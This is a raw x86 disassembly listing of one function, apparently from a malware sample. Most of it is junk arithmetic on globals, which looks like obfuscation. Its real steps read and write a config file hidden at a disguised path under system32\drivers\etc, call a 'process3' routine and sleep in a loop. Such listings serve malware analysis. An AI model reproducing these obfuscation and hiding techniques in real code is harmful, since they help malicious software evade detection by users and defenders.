push 0xffffffffffffffff
mov dword [0x45ebd4], ecx
push 0x5626f0
lea ecx, [ebp - 0x113c]
call fcn.004073d0
mov eax, dword [0x45ebd4]
mov edi, dword [0x45ebd0]
mov esi, dword [0x45ebc8]
mov ebx, dword [0x45ebd8]
mov ecx, dword [0x45ebd0]
sub edi, eax
imul edi, edi, 0x15445b42
mov edx, esi
imul edx, edx, 0x31136cfe
add edi, edx
mov eax, ebx
imul eax, eax, 0x2d80f713
add edi, eax
mov eax, 0xc09944a7
imul ecx
add edx, ecx
sar edx, 0x1c
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x2e45b009
imul dword [0x45ebe8]
sub edi, ecx
sar edx, 0x1b
add edi, edx
mov ecx, edx
mov edx, dword [0x45ebcc]
imul edx, edx, 0xbd0f4c0
shr ecx, 0x1f
add ecx, edi
mov edi, dword [ebp - 0x10cc]
sub ecx, edx
mov byte [ebp - 4], 7
mov dword [0x45ebe0], ecx
mov dword [ebp - 0x10c8], 0x561ee8
lea esp, [esp]
mov al, byte [edi]
mov edx, dword [ebp - 0x10c8]
mov byte [ebp - 0x10d5], al
cmp al, byte [edx]
jne 0x423d38
test al, al
je 0x423d34
mov al, byte [edi + 1]
mov byte [ebp - 0x10d5], al
cmp al, byte [edx + 1]
jne 0x423d38
add edx, 2
add edi, 2
test al, al
mov dword [ebp - 0x10c8], edx
jne 0x423d00
xor eax, eax
jmp 0x423d3d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4242e0
mov edx, dword [0x45ebdc]
mov edi, dword [0x45ebc4]
imul edi, edi, 0x31136cfe
mov eax, 0xc09944a7
imul edx
add edx, dword [0x45ebdc]
sar edx, 0x1c
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x273a7861
imul dword [0x45ebd0]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x2e45b009
imul ecx
sar edx, 0x1b
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x9c5fe915
imul esi
add edx, esi
sar edx, 0x1d
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov dword [ebp - 0x10d0], eax
mov eax, 0x9c5fe915
imul ebx
add edx, ebx
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d0]
sub edx, eax
mov dword [ebp - 0x10d0], edx
mov eax, 0x56a9121b
imul dword [0x45ebd4]
mov eax, dword [ebp - 0x10d0]
sar edx, 0x1a
mov edi, edx
add eax, edx
shr edi, 0x1f
add edi, eax
mov eax, dword [ebp - 0x10cc]
lea edx, [eax + 1]
mov dword [0x45ebcc], edi
mov dword [ebp - 0x10d0], edx
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x423e10
sub eax, dword [ebp - 0x10d0]
cmp eax, 0x800
jae 0x423e3f
mov ecx, dword [ebp - 0x10cc]
mov edx, 0x561ee8
nop
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x423e30
jmp 0x423ee5
mov eax, 0x4be59407
imul edi, edi, 0x1f444551
imul esi
imul esi, esi, 0x35f7d09c
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x53766c07
imul dword [0x45ebc4]
sar edx, 0x1c
add esi, edx
mov ebx, edx
mov eax, 0x83008757
imul ecx
add edx, ecx
mov ecx, dword [0x45ebe8]
sar edx, 0x1c
shr ebx, 0x1f
add ebx, esi
mov esi, edx
add ebx, edx
mov eax, 0x5e0c18e7
imul ecx
imul ecx, ecx, 0xbd0f4c0
shr esi, 0x1f
sar edx, 0x1b
add esi, ebx
sub esi, edi
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
sub eax, ecx
mov dword [0x45ebd8], eax
xor eax, eax
mov ecx, 0x200
mov edi, 0x561ee8
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 0x10cc]
push 0x7ff
push ecx
push 0x561ee8
call fcn.00432cb0
mov edi, dword [0x45ebcc]
mov ebx, dword [0x45ebd8]
add esp, 0xc
mov ecx, dword [0x45ebc4]
imul ebx, ebx, 0x35f7d09c
mov eax, 0x4be59407
imul edi
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xc09944a7
imul ecx
mov eax, dword [0x45ebd4]
add edx, ecx
imul eax, eax, 0x3e888aa2
sar edx, 0x1c
mov edi, edx
sub esi, ebx
add esi, edx
shr edi, 0x1f
add edi, esi
add edi, eax
mov eax, 0x2e45b009
imul dword [0x45ebd0]
sar edx, 0x1b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x45ebe4]
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x5615e8
mov dword [0x45ebe4], edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x423f68
sub eax, ecx
cmp eax, 5
jbe 0x4242e0
mov ecx, dword [ebp - 0x10cc]
push str.ConfigL6
push ecx
call fcn.00405330
add esp, 8
test eax, eax
jne 0x4242e0
mov ecx, dword [0x45ebd8]
mov edx, dword [0x45ebd0]
lea esi, [edx + ecx]
mov edx, dword [0x45ebc8]
imul esi, esi, 0x15c6babc
mov eax, 0x4be59407
imul edx
mov eax, ecx
imul eax, eax, 0x35f7d09c
sar edx, 0x1c
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
add edi, eax
mov eax, 0x2d01dbc7
imul ecx
sar edx, 0x1b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x45ebdc]
mov eax, 0x83008757
imul ecx
add edx, ecx
mov ecx, dword [0x45ebd4]
sar edx, 0x1c
imul ecx, ecx, 0xbd0f4c0
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, ecx
push 0x132db2c
mov dword [0x45ebe8], edi
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
xor edi, edi
cmp edi, 0x64
jge 0x4240d7
mov ecx, dword [0x45ebd4]
mov eax, 0x4be59407
imul ecx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x2e45b009
imul ecx
sar edx, 0x1b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ebe0]
imul edx, edx, 0x15c6babc
sub ebx, ecx
mov ecx, dword [0x45ebd8]
sub ebx, edx
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
mov ecx, dword [0x45ebcc]
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov ebx, eax
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
mov ecx, dword [0x45ebdc]
imul ecx, ecx, 0x3e20adb7
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
push 0x64
mov dword [0x45ebc4], eax
call esi
mov eax, 0x5615e8
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4240c0
sub eax, ecx
mov dword [ebp - 0x10d0], eax
je 0x4240d7
inc edi
jmp 0x424025
mov ecx, dword [0x45ebdc]
mov esi, dword [0x45ebc4]
mov eax, 0xc09944a7
imul esi, esi, 0x31136cfe
imul ecx
add edx, ecx
mov ecx, dword [0x45ebd0]
sar edx, 0x1c
add esi, edx
mov edi, edx
mov eax, 0x273a7861
imul ecx
mov ecx, dword [0x45ebe0]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
shr edi, 0x1f
add edi, esi
sub edi, eax
mov eax, 0x2e45b009
imul ecx
mov ecx, dword [0x45ebc8]
sar edx, 0x1b
add edi, edx
mov esi, edx
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
mov ecx, dword [0x45ebd8]
sar edx, 0x1d
shr esi, 0x1f
add esi, edi
mov edi, edx
add esi, edx
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
sar edx, 0x1d
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
shr edi, 0x1f
add edi, esi
sub edi, ecx
mov ecx, dword [0x45ebd4]
mov eax, 0x56a9121b
imul ecx
push str.C:_WINDoWS_system32driversetc_serViCe5.ini
push 0x800
sar edx, 0x1a
lea ecx, [ebp - 0x10c4]
push ecx
mov eax, edx
push 0x44ee89
shr eax, 0x1f
add edi, edx
push str.ConfigL5
add eax, edi
push str.GameType1
mov dword [0x45ebcc], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [0x45ebdc]
mov esi, dword [0x45ebe8]
mov eax, 0x4be59407
imul esi, esi, 0x35f7d09c
imul ecx
sar edx, 0x1c
add esi, edx
mov edi, edx
mov eax, 0x83008757
imul ecx
add edx, ecx
mov ecx, dword [0x45ebc8]
sar edx, 0x1c
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add edi, esi
add eax, edx
sub edi, eax
mov edx, dword [0x45ebc4]
imul ecx, ecx, 0x15c6babc
mov eax, dword [0x45ebe4]
imul edx, edx, 0x1a1a8172
sub edi, ecx
add edi, eax
lea ecx, [ebp - 0x10c4]
lea eax, [edx + edi + 0xbd0f4c0]
push ecx
mov dword [0x45ebd4], eax
call fcn.00432272
inc eax
push eax
lea edx, [ebp - 0x10c4]
push 0x44eb00
push edx
call fcn.00431c41
add esp, 0x10
push str.C:_WINDoWS_system32driversetc_serViCe5.ini
lea eax, [ebp - 0x10c4]
push eax
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x45ebe4]
mov eax, 0x4be59407
imul ecx
mov ecx, dword [0x45ebcc]
mov eax, dword [0x45ebc8]
sar edx, 0x1c
imul eax, eax, 0x2d80f713
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, ecx
imul edx, edx, 0x5885071a
add esi, edx
add esi, eax
mov eax, 0x273a7861
imul ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x45ebd0]
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
mov ecx, dword [0x45ebc4]
imul ecx, ecx, 0xbd0f4c0
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov esi, dword [0x5615e0]
add eax, ecx
inc esi
push 0
mov dword [0x45ebdc], eax
mov dword [0x5615e0], esi
call fcn.00432277
add esp, 4
mov dword [0x5615e4], eax
lea ecx, [ebp - 0x113c]
mov byte [ebp - 4], 6
call fcn.004074b0
mov edi, dword [0x45ebc4]
mov edx, dword [0x45ebcc]
mov ecx, dword [0x45ebd8]
mov eax, 0x4be59407
imul ecx, ecx, 0x35f7d09c
imul edx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xc09944a7
imul edi
add edx, edi
sar edx, 0x1c
sub esi, ecx
mov ecx, dword [0x45ebd4]
add esi, edx
imul ecx, ecx, 0x3e888aa2
mov edi, edx
mov eax, 0x2e45b009
imul dword [0x45ebd0]
sar edx, 0x1b
shr edi, 0x1f
mov eax, edx
shr eax, 0x1f
add eax, edx
add edi, esi
add edi, ecx
mov ecx, dword [0x45ebe4]
sub edi, eax
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
sar edx, 0x1d
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x10dc]
push ecx
sub edi, ecx
mov eax, esp
mov dword [0x45ebe4], edi
mov dword [eax], edx
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov dword [ebp - 0x10d0], esp
je 0x424398
mov ecx, dword [eax]
push eax
call dword [ecx + 4]
mov ecx, 0x572838
call fcn.004084d0
mov ecx, dword [0x45ebe0]
mov edx, dword [0x45ebdc]
mov esi, ecx
imul esi, esi, 0x4d0e971
mov eax, 0x2d01dbc7
imul edx
sar edx, 0x1b
add esi, edx
mov edi, edx
mov eax, 0x273a7861
imul ecx
mov ecx, dword [0x45ebd0]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
shr edi, 0x1f
add edi, esi
sub edi, eax
mov eax, 0x5e0c18e7
imul ecx
mov ecx, dword [0x45ebe4]
sar edx, 0x1b
mov esi, edx
add edi, edx
mov eax, 0x56a9121b
imul ecx
mov eax, dword [ebp - 0x10dc]
sar edx, 0x1a
shr esi, 0x1f
mov ecx, edx
add esi, edi
add esi, edx
mov edx, dword [0x45ebd8]
imul edx, edx, 0xbd0f4c0
shr ecx, 0x1f
add ecx, esi
add ecx, edx
push 0
push eax
mov dword [0x45ebc8], ecx
call fcn.0040a900
mov ecx, dword [0x45ebd0]
mov esi, dword [0x45ebe8]
mov eax, 0xc09944a7
imul ecx
add edx, ecx
sar edx, 0x1c
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ebe4]
imul edx, edx, 0xd0d40b9
mov edi, esi
imul edi, edi, 0x31136cfe
sub edi, ecx
mov ecx, dword [0x45ebc4]
add edi, edx
mov eax, 0x9c5fe915
imul esi
add edx, esi
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x346312ef
sub edi, eax
sub edi, edx
mov edx, dword [0x45ebd8]
mov eax, 0x56a9121b
imul edx
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ebe0]
add esp, 8
add edi, edx
lea edx, [eax + edi - 0xbd0f4c0]
mov dword [0x45ebd0], edx
jmp 0x4244c3
mov ecx, dword [0x45ebc4]
mov esi, dword [0x45ebc8]
mov eax, 0x4be59407
imul esi
imul esi, esi, 0x35f7d09c
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x53766c07
imul ecx
mov ecx, dword [0x45ebe0]
sar edx, 0x1c
add esi, edx
mov edi, edx
mov eax, 0x83008757
imul ecx
add edx, ecx
mov ecx, dword [0x45ebcc]
shr edi, 0x1f
imul ecx, ecx, 0x1f444551
sar edx, 0x1c
add edi, esi
mov esi, dword [0x45ebe8]
add edi, edx
mov ebx, edx
mov eax, 0x5e0c18e7
imul esi
imul esi, esi, 0xbd0f4c0
mov eax, dword [ebp - 0x10e0]
shr ebx, 0x1f
add ebx, edi
sub ebx, ecx
sar edx, 0x1b
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
sub ecx, esi
test eax, eax
mov dword [0x45ebd8], ecx
mov byte [ebp - 4], 5
je 0x42455f
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x45ebd8]
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov byte [ebp - 4], 4
je 0x424579
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x45ebd8]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 2
je 0x424593
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x45ebd8]
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 1
je 0x4245ad
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x45ebd8]
mov esi, dword [0x45ebdc]
mov edi, dword [ebp - 0x10d4]
mov ebx, dword [0x45ebd4]
inc edi
jmp 0x421d10
mov eax, dword [ebp - 0x10ec]
test eax, eax
mov byte [ebp - 4], 0
je 0x4245df
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x45ebd8]
mov esi, dword [0x45ebd0]
imul ecx, ecx, 0x2d80f713
mov eax, dword [0x45ebd4]
mov edi, esi
sub edi, eax
mov eax, dword [0x45ebc8]
imul edi, edi, 0x15445b42
imul eax, eax, 0x31136cfe
add edi, eax
mov eax, 0xc09944a7
imul esi
add edx, esi
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
add edi, ecx
sub edi, eax
mov eax, 0x2e45b009
imul dword [0x45ebe8]
mov eax, dword [0x45ebcc]
imul eax, eax, 0xbd0f4c0
sar edx, 0x1b
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
sub ecx, eax
mov eax, dword [ebp - 0x10f4]
mov dword [0x45ebe0], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00431a6d
mov esp, ebp
pop ebp
ret